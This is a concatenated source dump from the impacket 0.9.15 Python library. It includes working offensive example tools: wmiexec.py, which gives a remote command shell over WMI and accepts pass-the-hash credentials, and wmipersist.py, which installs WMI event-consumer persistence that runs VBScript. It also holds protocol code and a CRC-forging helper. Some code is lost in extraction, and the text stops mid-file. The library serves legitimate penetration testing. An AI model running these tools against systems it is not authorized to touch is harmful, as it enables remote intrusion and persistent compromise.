None return self.getValues()[i] except Exception,e: return None def scale(self,value): try: return NumericAxis.scale(self,self.getValues().index(value)) except: self.addValue(value) return NumericAxis.scale(self,self.values.index(value)) def getValues(self): return self.values class ParallelCoordinates(Tkinter.Canvas): def __init__(self, master=None, cnf={}, **kw): apply(Tkinter.Canvas.__init__, (self, master, cnf), kw) self.lastSelection = None self.lastSelectionOval = None self._onSelection = None self.minColor = None self.maxColor = None self.colorAxis = '_counter' self.values=[] self.mainAxis=SymbolicAxis(self,'mainAxis',[],'horizontal') master.bind('',self.draw) master.bind('',self.buttonDown) master.bind('<1>',self.buttonDown) master.bind('',self.buttonUp) def addAxis(self,axis): self.mainAxis.addValue(axis,0) def sameValue(self,a,b): for axis in self.mainAxis.getValues(): if not a[axis.name] == b[axis.name]: return 0 return 1 def addValue(self,value): for each in self.values: if self.sameValue(value,each): each['_counter'] += 1 each['timestamp'] = value['timestamp'] value = each break else: value['_counter'] = 1 for axis in self.mainAxis.getValues(): axis.addValue(value[axis.name]) self.values.append(value) color = value[self.colorAxis] if None == self.minColor or self.minColor > color: self.minColor = color if None == self.maxColor or self.maxColor < color: self.maxColor = color def removeValue(self, value): self.values.remove(value) def basicColor(self,val,fade = 1): # color scale is linear going through green -> yellow -> red # (lower to higher) if val < 0.5: val += val # val *= 2 (scale from 0 to 1) # between green - yellow red = 64*(1-val) + 255*val green = 200*(1-val) + 255*val blue = 64*(1-val) + 0 else: val -= 0.5 val += val red = 255*(1-val) + 255*val green = 255*(1-val) + 64*val blue = 0 + 0 return '#%02x%02x%02x' % (int(red*fade), int(green*fade), int(blue*fade)) def fade(self,value): return max(0,(120.0-time.time()+value['timestamp'])/120.0) def color(self,value,fade = 1): # color scale is linear going through green -> yellow -> red (lower to higher) val = float(value[self.colorAxis]-self.minColor)/(self.maxColor-self.minColor+1) return self.basicColor(val,fade) def drawValueLine(self,value): x = -1 y = -1 fade = self.fade(value) if not fade: self.removeValue(value) return color = self.color(value,fade) for axis in self.mainAxis.getValues(): px = x py = y x = self.mainAxis.scale(axis) y = axis.scale(value[axis.name]) if not px == -1: self.create_line(px,py,x,y,fill = color) def draw(self,event = None): # draw axis for i in self.find_all(): self.delete(i) for axis in self.mainAxis.getValues(): x = self.mainAxis.scale(axis) self.create_line(x,5,x,int(self.winfo_height())-5,fill = 'white') for value in self.values: self.drawValueLine(value) # draw color range # for i in range(200): # c = self.basicColor((i+0.0)/200) # self.create_line(0,i,100,i,fill = c) def buttonDown(self,event): if (event.state & 0x0100) or (event.type == '4'): axis = self.mainAxis.unscale(event.x) if not axis: return element = axis.unscale(event.y) if not element: return x = self.mainAxis.scale(axis) y = axis.scale(element) if self.lastSelectionOval: self.delete(self.lastSelectionOval) self.lastSelectionOval = self.create_oval(x-3,y-3,x+3,y+3,fill = "yellow") if not self.lastSelection == (axis,element): self.lastSelection = (axis,element) if self._onSelection: self._onSelection(self.lastSelection) def buttonUp(self,event): if self.lastSelectionOval: self.delete(self.lastSelectionOval) self.lastSelectionOval = None self.lastSelection = None if self._onSelection: self._onSelection(None) def onSelection(self,_onSelection): self._onSelection = _onSelection class Tracer: def __init__(self, interface = 'eth0', filter = ''): print "Tracing interface %s with filter `%s'." % (interface, filter) self.tk = Tkinter.Tk() self.pc = ParallelCoordinates(self.tk,background = "black") self.pc.pack(expand=1, fill="both") self.status = Tkinter.Label(self.tk) self.status.pack() self.tk.tkraise() self.tk.title('Personal SIDRA (IP-Tracer)') self.pc.addAxis(NumericAxis(self.pc, 'proto',256)) self.pc.addAxis(SymbolicAxis(self.pc,'shost')) self.pc.addAxis(SymbolicAxis(self.pc,'sport')) self.pc.addAxis(SymbolicAxis(self.pc,'dport')) self.pc.addAxis(SymbolicAxis(self.pc,'dhost')) self.pc.onSelection(self.newSelection) self.interface = interface self.filter = filter def timerDraw(self,event = None): self.pc.draw() self.tk.after(REFRESH_PERIOD, self.timerDraw); def start(self): self.p = open_live(self.interface, 1600, 0, 100) ## self.p.setnonblock(1) if self.filter: self.p.setfilter(self.filter) # Query the type of the link and instantiate a decoder accordingly. datalink = self.p.datalink() if pcapy.DLT_EN10MB == datalink: self.decoder = EthDecoder() elif pcapy.DLT_LINUX_SLL == datalink: self.decoder = LinuxSLLDecoder() else: raise Exception("Datalink type not supported: " % datalink) self.tk.after(POLL_PERIOD, self.poll) self.tk.after(REFRESH_PERIOD, self.timerDraw); self.tk.bind('q',self.quit) self.tk.mainloop() def quit(self,event): self.tk.quit() def poll(self,event = None): self.tk.after(POLL_PERIOD, self.poll) received = 0 while 1: try: hdr, data = self.p.next() except PcapError, e: break self.newPacket(hdr.getcaplen(), data, hdr.getts()[0]) received = 1 if received and fast_draws: self.pc.draw() def newPacket(self, len, data, timestamp): try: p = self.decoder.decode(data) except Exception, e: pass value = {} try: value['timestamp']=timestamp value['shost']=p.child().get_ip_src() value['dhost']=p.child().get_ip_dst() value['proto']=p.child().child().protocol value['sport']=-1 value['dport']=-1 except: return try: if value['proto'] == socket.IPPROTO_TCP: value['dport']=p.child().child().get_th_dport() value['sport']=p.child().child().get_th_sport() elif value['proto'] == socket.IPPROTO_UDP: value['dport']=p.child().child().get_uh_dport() value['sport']=p.child().child().get_uh_sport() except: pass self.pc.addValue(value) def setStatus(self,status): self.status.configure(text = status) def newSelection(self, selection): if selection: self.setStatus('%s:%s' % (selection[0].name, selection[1])) else: self.setStatus('') def getInterfaces(): # Grab a list of interfaces that pcap is able to listen on. # The current user will be able to listen from all returned interfaces, # using open_live to open them. ifs = findalldevs() # No interfaces available, abort. if 0 == len(ifs): return "You don't have enough permissions to open any interface on this system." return ifs def printUsage(): print """Usage: %s [interface [filter]] Interface is the name of a local network interface, see the list of available interfaces below. Filter is a BPF filter, as described in tcpdump(3)'s man page. Available interfaces for this user: %s """ % (sys.argv[0], getInterfaces()) def main(): if len(sys.argv) == 1: printUsage() graph = Tracer() elif len(sys.argv) == 2: graph = Tracer(sys.argv[1]) elif len(sys.argv) == 3: graph = Tracer(sys.argv[1],sys.argv[2]) else: printUsage() sys.exit(1) graph.start() main() impacket-0.9.15/examples/uncrc32.py0000700000076500000000000000171712734531507017127 0ustar betowheel00000000000000# based on: # # Reversing CRC - Theory and Practice. # HU Berlin Public Report # SAR-PR-2006-05 # May 2006 # Authors: # Martin Stigge, Henryk Plotz, Wolf Muller, Jens-Peter Redlich FINALXOR = 0xffffffffL INITXOR = 0xffffffffL CRCPOLY = 0xEDB88320L CRCINV = 0x5B358FD3L from binascii import crc32 from struct import pack def tableAt(byte): return crc32(chr(byte ^ 0xff)) & 0xffffffff ^ FINALXOR ^ (INITXOR >> 8) def compensate(buf, wanted): wanted ^= FINALXOR newBits = 0 for i in range(32): if newBits & 1: newBits >>= 1 newBits ^= CRCPOLY else: newBits >>= 1 if wanted & 1: newBits ^= CRCINV wanted >>= 1 newBits ^= crc32(buf) ^ FINALXOR return pack(' 1: src_path = params[0] dst_path = params[1] elif len(params) == 1: src_path = params[0] dst_path = '' src_file = os.path.basename(src_path) fh = open(src_path, 'rb') dst_path = string.replace(dst_path, '/','\\') import ntpath pathname = ntpath.join(ntpath.join(self.__pwd,dst_path), src_file) drive, tail = ntpath.splitdrive(pathname) logging.info("Uploading %s to %s" % (src_file, pathname)) self.__transferClient.putFile(drive[:-1]+'$', tail, fh.read) fh.close() except Exception, e: logging.critical(str(e)) pass def do_exit(self, s): return True def emptyline(self): return False def do_cd(self, s): self.execute_remote('cd ' + s) if len(self.__outputBuffer.strip('\r\n')) > 0: print self.__outputBuffer self.__outputBuffer = '' else: self.__pwd = ntpath.normpath(ntpath.join(self.__pwd, s)) self.execute_remote('cd ') self.__pwd = self.__outputBuffer.strip('\r\n') self.prompt = self.__pwd + '>' self.__outputBuffer = '' def default(self, line): # Let's try to guess if the user is trying to change drive if len(line) == 2 and line[1] == ':': # Execute the command and see if the drive is valid self.execute_remote(line) if len(self.__outputBuffer.strip('\r\n')) > 0: # Something went wrong print self.__outputBuffer self.__outputBuffer = '' else: # Drive valid, now we should get the current path self.__pwd = line self.execute_remote('cd ') self.__pwd = self.__outputBuffer.strip('\r\n') self.prompt = self.__pwd + '>' self.__outputBuffer = '' else: if line != '': self.send_data(line) def get_output(self): def output_callback(data): self.__outputBuffer += data if self.__noOutput is True: self.__outputBuffer = '' return while True: try: self.__transferClient.getFile(self.__share, self.__output, output_callback) break except Exception, e: if str(e).find('STATUS_SHARING_VIOLATION') >=0: # Output not finished, let's wait time.sleep(1) pass else: #print str(e) pass self.__transferClient.deleteFile(self.__share, self.__output) def execute_remote(self, data): command = self.__shell + data if self.__noOutput is False: command += ' 1> ' + '\\\\127.0.0.1\\%s' % self.__share + self.__output + ' 2>&1' self.__win32Process.Create(command, self.__pwd, None) self.get_output() def send_data(self, data): self.execute_remote(data) print self.__outputBuffer self.__outputBuffer = '' # Process command-line arguments. if __name__ == '__main__': # Init the example's logger theme logger.init() print version.BANNER parser = argparse.ArgumentParser(add_help = True, description = "Executes a semi-interactive shell using Windows Management Instrumentation.") parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') parser.add_argument('-share', action='store', default = 'ADMIN$', help='share where the output will be grabbed from (default ADMIN$)') parser.add_argument('-nooutput', action='store_true', default = False, help='whether or not to print the output (no SMB connection created)') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') parser.add_argument('command', nargs='*', default = ' ', help='command to execute at the target. If empty it will launch a semi-interactive shell') group = parser.add_argument_group('authentication') group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line') group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication (128 or 256 bits)') group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ommited it use the domain part (FQDN) specified in the target parameter') if len(sys.argv)==1: parser.print_help() sys.exit(1) options = parser.parse_args() if ' '.join(options.command) == ' ' and options.nooutput is True: logging.error("-nooutput switch and interactive shell not supported") sys.exit(1) if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) else: logging.getLogger().setLevel(logging.INFO) import re domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match( options.target).groups('') #In case the password contains '@' if '@' in address: password = password + '@' + address.rpartition('@')[0] address = address.rpartition('@')[2] try: if domain is None: domain = '' if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: from getpass import getpass password = getpass("Password:") if options.aesKey is not None: options.k = True executer = WMIEXEC(' '.join(options.command), username, password, domain, options.hashes, options.aesKey, options.share, options.nooutput, options.k, options.dc_ip) executer.run(address) except (Exception, KeyboardInterrupt), e: #import traceback #print traceback.print_exc() logging.error(str(e)) sys.exit(0) impacket-0.9.15/examples/wmipersist.py0000700000076500000000000002463012734531507020055 0ustar betowheel00000000000000#!/usr/bin/python # Copyright (c) 2003-2016 CORE Security Technologies # # This software is provided under under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # This script creates/removes a WMI Event Consumer/Filter and link # between both to execute Visual Basic based on the WQL filter # or timer specified. # # Author: # beto (@agsolino) # # Example: # # write a file toexec.vbs the following: # Dim objFS, objFile # Set objFS = CreateObject("Scripting.FileSystemObject") # Set objFile = objFS.OpenTextFile("C:\ASEC.log", 8, true) # objFile.WriteLine "Hey There!" # objFile.Close # # # then excute this script this way, VBS will be triggered once # somebody opens calc.exe: # # wmipersist.py domain.net/adminuser:mypwd@targetHost install -name ASEC # -vbs toexec.vbs # -filter 'SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance # ISA "Win32_Process" AND TargetInstance.Name = "calc.exe"' # # or, if you just want to execute the VBS every XXX milliseconds: # # wmipersist.py domain.net/adminuser:mypwd@targetHost install -name ASEC # -vbs toexec.vbs -timer XXX # # to remove the event: # wmipersist.py domain.net/adminuser:mypwd@targetHost remove -name ASEC # # if you don't specify the password, it will be asked by the script. # domain is optional. # # Reference for: # DCOM/WMI import sys import argparse import logging from impacket.examples import logger from impacket import version from impacket.dcerpc.v5.dcomrt import DCOMConnection from impacket.dcerpc.v5.dcom import wmi from impacket.dcerpc.v5.dtypes import NULL class WMIPERSISTENCE: def __init__(self, username = '', password = '', domain = '', options= None): self.__username = username self.__password = password self.__domain = domain self.__options = options self.__lmhash = '' self.__nthash = '' if options.hashes is not None: self.__lmhash, self.__nthash = options.hashes.split(':') @staticmethod def checkError(banner, resp): if resp.GetCallStatus(0) != 0: logging.error('%s - ERROR (0x%x)' % (banner, resp.GetCallStatus(0))) else: logging.info('%s - OK' % banner) def run(self, addr): dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, options.aesKey, oxidResolver=False, doKerberos=options.k, kdcHost=options.dc_ip) iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/subscription', NULL, NULL) iWbemLevel1Login.RemRelease() if self.__options.action.upper() == 'REMOVE': self.checkError('Removing ActiveScriptEventConsumer %s' % self.__options.name, iWbemServices.DeleteInstance('ActiveScriptEventConsumer.Name="%s"' % self.__options.name)) self.checkError('Removing EventFilter EF_%s' % self.__options.name, iWbemServices.DeleteInstance('__EventFilter.Name="EF_%s"' % self.__options.name)) self.checkError('Removing IntervalTimerInstruction TI_%s' % self.__options.name, iWbemServices.DeleteInstance( '__IntervalTimerInstruction.TimerId="TI_%s"' % self.__options.name)) self.checkError('Removing FilterToConsumerBinding %s' % self.__options.name, iWbemServices.DeleteInstance( r'__FilterToConsumerBinding.Consumer="ActiveScriptEventConsumer.Name=\"%s\"",Filter="__EventFilter.Name=\"EF_%s\""' % ( self.__options.name, self.__options.name))) else: activeScript ,_ = iWbemServices.GetObject('ActiveScriptEventConsumer') activeScript = activeScript.SpawnInstance() activeScript.Name = self.__options.name activeScript.ScriptingEngine = 'VBScript' activeScript.CreatorSID = [1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0] activeScript.ScriptText = options.vbs.read() self.checkError('Adding ActiveScriptEventConsumer %s'% self.__options.name, iWbemServices.PutInstance(activeScript.marshalMe())) if options.filter is not None: eventFilter,_ = iWbemServices.GetObject('__EventFilter') eventFilter = eventFilter.SpawnInstance() eventFilter.Name = 'EF_%s' % self.__options.name eventFilter.CreatorSID = [1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0] eventFilter.Query = options.filter eventFilter.QueryLanguage = 'WQL' eventFilter.EventNamespace = r'root\cimv2' self.checkError('Adding EventFilter EF_%s'% self.__options.name, iWbemServices.PutInstance(eventFilter.marshalMe())) else: wmiTimer, _ = iWbemServices.GetObject('__IntervalTimerInstruction') wmiTimer = wmiTimer.SpawnInstance() wmiTimer.TimerId = 'TI_%s' % self.__options.name wmiTimer.IntervalBetweenEvents = int(self.__options.timer) #wmiTimer.SkipIfPassed = False self.checkError('Adding IntervalTimerInstruction', iWbemServices.PutInstance(wmiTimer.marshalMe())) eventFilter,_ = iWbemServices.GetObject('__EventFilter') eventFilter = eventFilter.SpawnInstance() eventFilter.Name = 'EF_%s' % self.__options.name eventFilter.CreatorSID = [1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0] eventFilter.Query = 'select * from __TimerEvent where TimerID = "TI_%s" ' % self.__options.name eventFilter.QueryLanguage = 'WQL' eventFilter.EventNamespace = r'root\subscription' self.checkError('Adding EventFilter EF_%s'% self.__options.name, iWbemServices.PutInstance(eventFilter.marshalMe())) filterBinding,_ = iWbemServices.GetObject('__FilterToConsumerBinding') filterBinding = filterBinding.SpawnInstance() filterBinding.Filter = '__EventFilter.Name="EF_%s"' % self.__options.name filterBinding.Consumer = 'ActiveScriptEventConsumer.Name="%s"' % self.__options.name filterBinding.CreatorSID = [1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0] self.checkError('Adding FilterToConsumerBinding', iWbemServices.PutInstance(filterBinding.marshalMe())) dcom.disconnect() # Process command-line arguments. if __name__ == '__main__': # Init the example's logger theme logger.init() print version.BANNER parser = argparse.ArgumentParser(add_help = True, description = "Creates/Removes a WMI Event Consumer/Filter and link between both to execute Visual Basic based on the WQL filter or timer specified.") parser.add_argument('target', action='store', help='[domain/][username[:password]@]
') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') subparsers = parser.add_subparsers(help='actions', dest='action') # A start command install_parser = subparsers.add_parser('install', help='installs the wmi event consumer/filter') install_parser.add_argument('-name', action='store', required=True, help='event name') install_parser.add_argument('-vbs', type=argparse.FileType('r'), required=True, help='VBS filename containing the script you want to run') install_parser.add_argument('-filter', action='store', required=False, help='the WQL filter string that will trigger the script') install_parser.add_argument('-timer', action='store', required=False, help='the amount of milliseconds after the script will be triggered') # A stop command remove_parser = subparsers.add_parser('remove', help='removes the wmi event consumer/filter') remove_parser.add_argument('-name', action='store', required=True, help='event name') group = parser.add_argument_group('authentication') group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line') group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication (128 or 256 bits)') group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ommited it use the domain part (FQDN) specified in the target parameter') if len(sys.argv)==1: parser.print_help() sys.exit(1) options = parser.parse_args() if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) else: logging.getLogger().setLevel(logging.INFO) if options.action.upper() == 'INSTALL': if (options.filter is None and options.timer is None) or (options.filter is not None and options.timer is not None): logging.error("You have to either specify -filter or -timer (and not both)") sys.exit(1) import re domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match( options.target).groups('') #In case the password contains '@' if '@' in address: password = password + '@' + address.rpartition('@')[0] address = address.rpartition('@')[2] try: if domain is None: domain = '' if options.aesKey is not None: options.k = True if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: from getpass import getpass password = getpass("Password:") executer = WMIPERSISTENCE(username, password, domain, options) executer.run(address) except (Exception, KeyboardInterrupt), e: #import traceback #print traceback.print_exc() logging.error(e) sys.exit(0) impacket-0.9.15/examples/wmiquery.py0000700000076500000000000001705612734531507017535 0ustar betowheel00000000000000#!/usr/bin/python # Copyright (c) 2003-2016 CORE Security Technologies # # This software is provided under under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: [MS-WMI] example. It allows to issue WQL queries and # get description of the objects. # # e.g.: select name from win32_account # e.g.: describe win32_process # # Author: # Alberto Solino (@agsolino) # # Reference for: # DCOM # import argparse import sys import os import logging from impacket.examples import logger from impacket import version from impacket.dcerpc.v5.dtypes import NULL from impacket.dcerpc.v5.dcom import wmi from impacket.dcerpc.v5.dcomrt import DCOMConnection from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, RPC_C_AUTHN_LEVEL_NONE if __name__ == '__main__': import cmd class WMIQUERY(cmd.Cmd): def __init__(self, iWbemServices): cmd.Cmd.__init__(self) self.iWbemServices = iWbemServices self.prompt = 'WQL> ' self.intro = '[!] Press help for extra shell commands' def do_help(self, line): print """ lcd {path} - changes the current local directory to {path} exit - terminates the server process (and this session) describe {class} - describes class ! {cmd} - executes a local shell cmd """ def do_shell(self, s): os.system(s) def do_describe(self, sClass): sClass = sClass.strip('\n') if sClass[-1:] == ';': sClass = sClass[:-1] try: iObject, _ = self.iWbemServices.GetObject(sClass) iObject.printInformation() iObject.RemRelease() except Exception, e: #import traceback #print traceback.print_exc() logging.error(str(e)) def do_lcd(self, s): if s == '': print os.getcwd() else: os.chdir(s) def printReply(self, iEnum): printHeader = True while True: try: pEnum = iEnum.Next(0xffffffff,1)[0] record = pEnum.getProperties() if printHeader is True: print '|', for col in record: print '%s |' % col, print printHeader = False print '|', for key in record: print '%s |' % record[key]['value'], print except Exception, e: #import traceback #print traceback.print_exc() if str(e).find('S_FALSE') < 0: raise else: break iEnum.RemRelease() def default(self, line): line = line.strip('\n') if line[-1:] == ';': line = line[:-1] try: iEnumWbemClassObject = self.iWbemServices.ExecQuery(line.strip('\n')) self.printReply(iEnumWbemClassObject) iEnumWbemClassObject.RemRelease() except Exception, e: logging.error(str(e)) def emptyline(self): pass def do_exit(self, line): return True # Init the example's logger theme logger.init() print version.BANNER parser = argparse.ArgumentParser(add_help = True, description = "Executes WQL queries and gets object descriptions using Windows Management Instrumentation.") parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') parser.add_argument('-namespace', action='store', default='//./root/cimv2', help='namespace name (default //./root/cimv2)') parser.add_argument('-file', type=argparse.FileType('r'), help='input file with commands to execute in the WQL shell') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') group = parser.add_argument_group('authentication') group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line') group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication (128 or 256 bits)') group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ommited it use the domain part (FQDN) specified in the target parameter') group.add_argument('-rpc-auth-level', choices=['integrity', 'privacy','default'], nargs='?', default='default', help='default, integrity (RPC_C_AUTHN_LEVEL_PKT_INTEGRITY) or privacy (RPC_C_AUTHN_LEVEL_PKT_PRIVACY). For example CIM path "root/MSCluster" would require privacy level by default)') if len(sys.argv)==1: parser.print_help() sys.exit(1) options = parser.parse_args() if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) else: logging.getLogger().setLevel(logging.INFO) import re domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match( options.target).groups('') #In case the password contains '@' if '@' in address: password = password + '@' + address.rpartition('@')[0] address = address.rpartition('@')[2] if domain is None: domain = '' if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: from getpass import getpass password = getpass("Password:") if options.aesKey is not None: options.k = True if options.hashes is not None: lmhash, nthash = options.hashes.split(':') else: lmhash = '' nthash = '' try: dcom = DCOMConnection(address, username, password, domain, lmhash, nthash, options.aesKey, oxidResolver=True, doKerberos=options.k, kdcHost=options.dc_ip) iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices= iWbemLevel1Login.NTLMLogin(options.namespace, NULL, NULL) if options.rpc_auth_level == 'privacy': iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) elif options.rpc_auth_level == 'integrity': iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY) iWbemLevel1Login.RemRelease() shell = WMIQUERY(iWbemServices) if options.file is None: shell.cmdloop() else: for line in options.file.readlines(): print "WQL> %s" % line, shell.onecmd(line) iWbemServices.RemRelease() dcom.disconnect() except Exception, e: logging.error(str(e)) try: dcom.disconnect() except: pass impacket-0.9.15/impacket/0000700000076500000000000000000012734532622015243 5ustar betowheel00000000000000impacket-0.9.15/impacket/__init__.py0000600000076500000000000000141112734531507017354 0ustar betowheel00000000000000# Copyright (c) 2003-2016 CORE Security Technologies # # This software is provided under under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Author: Alberto Solino (@agsolino) # # Set default logging handler to avoid "No handler found" warnings. import logging try: # Python 2.7+ from logging import NullHandler except ImportError: class NullHandler(logging.Handler): def emit(self, record): pass # All modules inside this library MUST use this logger (impacket) # It is up to the library consumer to do whatever is wanted # with the logger output. By default it is forwarded to the # upstream logger LOG = logging.getLogger(__name__) LOG.addHandler(NullHandler()) impacket-0.9.15/impacket/cdp.py0000600000076500000000000003234012734531507016370 0ustar betowheel00000000000000# Copyright (c) 2003-2016 CORE Security Technologies # # This software is provided under under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: # Cisco Discovery Protocol packet codecs. # # Author: # Martin Candurra # martincad at corest.com from struct import unpack import socket from ImpactPacket import Header from impacket import LOG IP_ADDRESS_LENGTH = 4 class CDPTypes: DeviceID_Type = 1 Address_Type = 2 PortID_Type = 3 Capabilities_Type = 4 SoftVersion_Type = 5 Platform_Type = 6 IPPrefix_Type = 7 ProtocolHello_Type = 8 MTU_Type = 17 SystemName_Type = 20 SystemObjectId_Type = 21 SnmpLocation = 23 class CDP(Header): Type = 0x2000 OUI = 0x00000c def __init__(self, aBuffer = None): Header.__init__(self, 8) if aBuffer: self.load_header(aBuffer) self._elements = self._getElements(aBuffer) def _getElements(self, aBuffer): # Remove version (1 byte), TTL (1 byte), and checksum (2 bytes) buff = aBuffer[4:] l = [] finish = False while buff: elem = CDPElementFactory.create(buff) data = elem.get_data() l.append( elem ) buff = buff[ elem.get_length() : ] return l def get_header_size(self): return 8 def get_version(self): return self.get_byte(0) def get_ttl(self): return self.get_byte(1) def get_checksum(self): return self.get_word(2) def get_type(self): return self.get_word(4) def get_lenght(self): return self.get_word(6) def getElements(self): return self._elements def __str__(self): knowcode = 0 tmp_str = 'CDP Details:\n' for element in self._elements: tmp_str += "** Type:" + str(element.get_type()) + " " + str(element) + "\n" return tmp_str def get_byte(buffer, offset): return unpack("!B", buffer[offset:offset+1])[0] def get_word(buffer, offset): return unpack("!h", buffer[offset:offset+2])[0] def get_long(buffer, offset): return unpack("!I", buffer[offset:offset+4])[0] def get_bytes(buffer, offset, bytes): return buffer[offset:offset + bytes] def mac_to_string(mac_bytes): bytes = unpack('!BBBBBB', mac_bytes) s = '' for byte in bytes: s += '%02x:' % byte return s[0:-1] class CDPElement(Header): def __init__(self, aBuffer = None): Header.__init__(self, 8) if aBuffer: self._length = CDPElement.Get_length(aBuffer) self.load_header( aBuffer[:self._length] ) @classmethod def Get_length(cls, aBuffer): return unpack('!h', aBuffer[2:4])[0] def get_header_size(self): self._length def get_length(self): return self.get_word(2) def get_data(self): return self.get_bytes().tostring()[4:self.get_length()] def get_ip_address(self, offset = 0, ip = None): if not ip: ip = self.get_bytes().tostring()[offset : offset + IP_ADDRESS_LENGTH] return socket.inet_ntoa( ip ) class CDPDevice(CDPElement): Type = 1 def get_type(self): return CDPDevice.Type def get_device_id(self): return CDPElement.get_data(self) def __str__(self): return "Device:" + self.get_device_id() class Address(CDPElement): Type = 2 def __init__(self, aBuffer = None): CDPElement.__init__(self, aBuffer) if aBuffer: data = self.get_bytes().tostring()[8:] self._generateAddressDetails(data) def _generateAddressDetails(self, buff): self.address_details = [] while buff: address = AddressDetails.create(buff) self.address_details.append( address ) buff = buff[address.get_total_length():] def get_type(self): return Address.Type def get_number(self): return self.get_long(4) def get_address_details(self): return self.address_details def __str__(self): tmp_str = "Addresses:" for address_detail in self.address_details: tmp_str += "\n" + str(address_detail) return tmp_str class AddressDetails(): PROTOCOL_IP = 0xcc @classmethod def create(cls, buff): a = AddressDetails(buff) return a def __init__(self, aBuffer = None): if aBuffer: addr_length = unpack("!h", aBuffer[3:5])[0] self.total_length = addr_length + 5 self.buffer = aBuffer[:self.total_length] def get_total_length(self): return self.total_length def get_protocol_type(self): return self.buffer[0:1] def get_protocol_length(self): return get_byte( self.buffer, 1) def get_protocol(self): return get_byte( self.buffer, 2) def get_address_length(self): return get_word( self.buffer, 3) def get_address(self): address = get_bytes( self.buffer, 5, self.get_address_length() ) if self.get_protocol()==AddressDetails.PROTOCOL_IP: return socket.inet_ntoa(address) else: LOG.error("Address not IP") return address def is_protocol_IP(self): return self.get_protocol()==AddressDetails.PROTOCOL_IP def __str__(self): return "Protocol Type:%r Protocol:%r Address Length:%r Address:%s" % (self.get_protocol_type(), self.get_protocol(), self.get_address_length(), self.get_address()) class Port(CDPElement): Type = 3 def get_type(self): return Port.Type def get_port(self): return CDPElement.get_data(self) def __str__(self): return "Port:" + self.get_port() class Capabilities(CDPElement): Type = 4 def __init__(self, aBuffer = None): CDPElement.__init__(self, aBuffer) self._capabilities_processed = False self._router = False self._transparent_bridge = False self._source_route_bridge = False self._switch = False self._host = False self._igmp_capable = False self._repeater = False self._init_capabilities() def get_type(self): return Capabilities.Type def get_capabilities(self): return CDPElement.get_data(self) def _init_capabilities(self): if self._capabilities_processed: return capabilities = unpack("!L", self.get_capabilities())[0] self._router = (capabilities & 0x1) > 0 self._transparent_bridge = (capabilities & 0x02) > 0 self._source_route_bridge = (capabilities & 0x04) > 0 self._switch = (capabilities & 0x08) > 0 self._host = (capabilities & 0x10) > 0 self._igmp_capable = (capabilities & 0x20) > 0 self._repeater = (capabilities & 0x40) > 0 def is_router(self): return self._router def is_transparent_bridge(self): return self._transparent_bridge def is_source_route_bridge(self): return self._source_route_bridge def is_switch(self): return self._switch def is_host(self): return self.is_host def 